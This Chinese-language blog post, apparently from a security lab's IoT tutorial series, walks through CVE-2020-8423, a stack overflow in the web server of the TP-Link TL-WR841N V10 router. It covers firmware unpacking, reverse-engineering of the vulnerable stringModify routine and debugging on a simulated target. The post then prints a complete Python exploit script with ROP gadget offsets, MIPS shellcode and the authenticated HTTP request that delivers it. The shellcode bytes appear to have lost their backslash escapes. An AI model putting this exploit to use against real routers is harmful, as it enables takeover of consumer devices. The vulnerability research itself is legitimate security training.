物联网安全实战从零开始-CVE-2020-8423

IoT 2个月前 admin
77 0 0



本环境是蛇矛实验室基于"火天网演攻防演训靶场"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。




物联网安全实战从零开始-CVE-2020-8423

背景

物联网安全实战从零开始-CVE-2020-8423


    自 2005年国际电信联盟正式提出“物联网(IoT)”这一概念以来,物联网在全球范围内迅速获得认可,并成为信息产业革命第三次浪潮和第四次工业革命的核心支撑。同时,数以亿计的设备接入物联网,这些设备如今已渗透到我们生活的方方面面,从家居到工厂无处不在。一方面物联网设备使我们的生活更加便捷,而另一方面物联网安全事件频发,全球物联网安全支出不断增加。

    当前,大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞一旦被利用,可导致设备被控制、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。从2018年全球统计数据来看,路由器、视频监控设备暴漏数量占比较高。路由器暴漏数量超过3000万台,视频监控设备暴露数量超过1700万台,并且这些设备往后几年会一年比一年多,物联网安全的事件也会越来越多。由此,物联网安全行业需要大力发展,物联网安全人才的培养也刻不容缓。

物联网安全实战从零开始-CVE-2020-8423


蛇矛实验室在后续将利用火天网境系列靶场中的相关目标仿真和环境构建的特性,将持续发布关于“物联网安全-CVE实战分析”系列的文章来帮助大家入门物联网安全。

物联网安全实战从零开始-CVE-2020-8423



物联网安全实战从零开始-CVE-2020-8423

关于CVE-2020-8423

物联网安全实战从零开始-CVE-2020-8423


物联网安全实战从零开始-CVE-2020-8423

    根据CVE信息,我们知道了受影响的型号为TP-Link TL-WR841N V10,而且我们知道了漏洞成因是httpd程序在通过GET请求设置WiFi网络时存在了栈溢出漏洞。

 固件下载(https://www.tp-link.com/no/support/download/tl-wr841n/v10/#Firmware)

    如第一小节提到的环境问题,大家还是自己按照网上的文章自己搭一遍,这样印象比较深刻。安装好环境后,下面我们就开始分析吧。


物联网安全实战从零开始-CVE-2020-8423

漏洞分析

物联网安全实战从零开始-CVE-2020-8423


    获取到固件后,我们第一步还是binwalk -Me 固件名解包查看一下文件系统架构和开机自启动程序,有助于我们接下来的分析。根据CVE信息报告来看,漏洞出现在httpd程序中。我们grep查找一下httpd的信息,发现httpd开机自启,并且httpd程序在/usr/bin目录下。


物联网安全实战从零开始-CVE-2020-8423

    查看一下busybox的架构和大小端序,发现是mips大端序。这里需要注意一下,待会儿编写exp时要谨记大小端序问题。


物联网安全实战从零开始-CVE-2020-8423

受传统栈溢出思维的影响,一开始没看其他信息前我也没有找到溢出点在哪里。后来才知道是由于字符解析函数在处理字符时出现了栈溢出问题。在这里我先带大家从漏洞函数往前分析,当然这也是学习漏洞分析时的一种思路。

    漏洞函数为stringModify函数,下图为stringModify函数,函数传进来三个参数。一开始并不知道它们是什么东西,所以只能根据参数类型去猜。parm1是一个byte* 类型,大概率要字符处理,所以它可能是字符串。后面俩个参数一边逆一边猜,函数一开始判断parm1是否为空,为空直接返回-1。然后继续判断parm3是否为0,并将bool类型返回给parm3isnull变量。将parm3看作char*类型并加1的地址赋值给一个nextcharofparm3。当parm3不为空则进入循环,取出parm3的一个char字节赋值给charofparm3。如果charofparm为空或者index大于等于parm2,则break返回index。如果charofparm3是'/',则转换为''。如果charofparm3的字符等于'>'或者' ',则将其转换为''。

物联网安全实战从零开始-CVE-2020-8423

    如果charofparm3是'<',则将其转换为''。上面判断结束后,将charofparm3赋值给parm1。程序到这里我们已经能够猜出大概了,其实就是将一些特殊的字符如('>','<','"')进行转换,转换后将其放入parm1中。程序最后判断charofparm3是否为‘r’或者'n',如果是则将其转换为"<br>"。这里就是漏洞点了,将原来的一个字符转换成了四个字符,所以这里出现了栈溢出。知道了哪里出现了栈溢出,那么数据流是如何传入的呢?


物联网安全实战从零开始-CVE-2020-8423

    我们对着stringModify按"x",查看那个函数调用了它。发现writePageParamSet函数调用了stringModify,writePageParamSet函数如下图所示:

    程序判断parm2于""%s","字符串做比较,如果不是则继续判断是否是"%d",是则执行httpprintf函数。如果是""%s","字符串则执行指定stringModify判断是否小于0,即判断parm3字符串是否为空。

物联网安全实战从零开始-CVE-2020-8423

    我们继续往前跟看看哪个函数调用了writePageParamSet,发现有很多地址调用了这个函数。由于是汇编的地址,所以猜测ida识别不出来这个函数,可能这个函数太大了。我们随意找一个地址往前找,找到函数入口就按"p"创建一个函数,这样就可以继续逆向分析了。其实这里有很多这样的函数可能都有漏洞,我为了方便直接根据大佬的payload来分析。这个函数调用了writepageparamset函数,parm3是v54变量,并且我们看到下面有一个HttpWebV4Head函数,点进入发现是一个返回html页面的函数,这里可能就是执行我们的请求后看到的html页面。所以我们往前找一下用户数据v54是如何进来的


物联网安全实战从零开始-CVE-2020-8423


    看到前面有httpgetenv函数,其实这里就是用户数据传进来的地方,httpgetenv根据相应参数获取用户传入的数据。v22是ssid,v25是curRegion,v27是获取的channel,v29是获取的chanWidth的值,v31是mode的值,这些值都被strcpy函数赋给了v54,后面的wrr是用来判断"sb",“select”,“rate”的数据,由于都是bool类型且没有对v54进行赋值,所以对我们可控数据没有影响。所以我们待会编写exp时要注意前面的几个变量。


物联网安全实战从零开始-CVE-2020-8423

物联网安全实战从零开始-CVE-2020-8423

    对着sub_45eb48函数按"x",我们找到了调用sub_45eb48的函数httpWlanBasicCfgRpmsInit。我么从命令可以猜到这个函数都是处理wifi的,与前面CVE发布的信息很吻合,这个函数通过几个wifi htm页面选择相对应的处理函数,来处理用户传进来参数和值,由于编写程序不当产生了栈溢出。这个函数再往前找就到main函数了,这里就不分析了。


物联网安全实战从零开始-CVE-2020-8423

    所以用户传入数据的流程为:main()->httpWlanBasicCfgRpmInit()->sub_45fa94()->writePageParamSet()->stringModify()->触发栈溢出。


物联网安全实战从零开始-CVE-2020-8423

漏洞复现

物联网安全实战从零开始-CVE-2020-8423


    访问火天靶场仿真的路由器界面,我们输入用户和密码(这里都是admin),我们就进入了下面的界面。我们需要保存一下path和cookie,下面编写exp需要用到。


物联网安全实战从零开始-CVE-2020-8423

使用脚本测试一下是否有栈溢出


物联网安全实战从零开始-CVE-2020-8423

物联网安全实战从零开始-CVE-2020-8423


脚本跑完后,路由器界面如下。由于这里还没有刷新,刷新一下就会访问不到。

物联网安全实战从零开始-CVE-2020-8423

使用gdb attach进程进行调试,下断点下在stringModify函数。


物联网安全实战从零开始-CVE-2020-8423

程序崩溃,并且jr $ra时,$ra的值为0x61616561,这样我们就知道了覆盖返回地址的偏移。

物联网安全实战从零开始-CVE-2020-8423


并且这里可以看到字符串转换情况:


物联网安全实战从零开始-CVE-2020-8423

    后面使用exp进行调试,这里我直接使用大佬写的exp进行测试。这里需要提一下,因为stringModify对用户输入的数据进行了过滤转换处理,所以我们编写exp时(不仅仅是shellcode)需要绕过,这里的知识大家自行查阅。



#!/usr/bin/python2
from pwn import *
import requests
import socket
import socks
import urllib
context.endian = 'big' 
libc_base = 你要改的libc_base
sleep = 0x53CA0
g1 = 0x000E204
g2 = 0x00037470
g3 = 0x0000E904
g4 = 0x00374D8
shellcode = "x24x0exffxfdx01xc0x20x27x01xc0x28x27x28x06xffxff"
shellcode += "x24x02x10x57x01x01x01x0cxafxa2xffxffx8fxa4xffxff"
shellcode += "x34x0exffxffx01xc0x70x27xafxaexffxf6xafxaexffxf4"
shellcode += "x34x0fxd8xf0x01xe0x78x27xafxafxffxf2x34x0fxffxfd"
shellcode += "x01xe0x78x27xafxafxffxf0x27xa5xffxf2x24x0fxffxef"
shellcode += "x01xe0x30x27x24x02x10x4ax01x01x01x0cx8fxa4xffxff"
shellcode += "x28x05xffxffx24x02x0fxdfx01x01x01x0cx2cx05xffxff"
shellcode += "x24x02x0fxdfx01x01x01x0cx24x0exffxfdx01xc0x28x27"
shellcode += "x24x02x0fxdfx01x01x01x0cx24x0ex3dx28xafxaexffxe2"
shellcode += "x24x0ex77xf9xafxaexffxe0x8fxa4xffxe2x28x05xffxff"
shellcode += "x28x06xffxffx24x02x0fxabx01x01x01x0c"
payload = "/%0A"*0x56 + 4*'x' + p32(0x11111111) + p32(g2+libc_base) + p32(sleep+libc_base)#这里的偏移你需要调试查看
payload += p32(g1+libc_base)
payload += 'x'*28
payload += p32(g4+libc_base)
payload += p32(0x33333333)
payload += p32(g3+libc_base)
payload += 'x'*24
payload += shellcode
def exp(path,cookie):
    headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
                "Cookie":"Authorization=Basic{cookie}".format(cookie=str(cookie))}

    params = {
        "mode":"1000",
                "curRegion":"1000",
                "chanWidth":"100",
                "channel":"1000",
                "ssid":urllib.unquote(payload)
        }
    url="http://192.168.xxx.xxx:80/{path}/userRpm/popupSiteSurveyRpm_AP.htm".format(path=str(path))
    res = requests.get(url,params=params,headers=headers,timeout=10)
    print(res.text)

exp("你要改的PATH","你要改的Cookie")


    调试时,我们需要在a0[2]等于“INK_0000_4”时,在httpWlanBasicCfgRpmsInit函数返回地址的前4条指令下断


物联网安全实战从零开始-CVE-2020-8423

    $ra的值确实是我们要执行的rop的地址,这里由于我仿真程序的问题,uClibc库的加载有些问题,并没有执行到shellcode部分。


物联网安全实战从零开始-CVE-2020-8423


物联网安全实战从零开始-CVE-2020-8423

总结

物联网安全实战从零开始-CVE-2020-8423


    这一小节,我们复现了Tp-Link TL-WR841N V10路由器的基础栈溢出漏洞,并且分析了从用户输入数据到触发栈溢出的过程。欢迎关注,下周精彩敬请期待!



物联网安全实战从零开始-CVE-2020-8423

蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。



原文始发于微信公众号(蛇矛实验室):物联网安全实战从零开始-CVE-2020-8423

版权声明:admin 发表于 2022年8月7日 下午2:15。
转载请注明:物联网安全实战从零开始-CVE-2020-8423 | CTF导航

相关文章

暂无评论

暂无评论...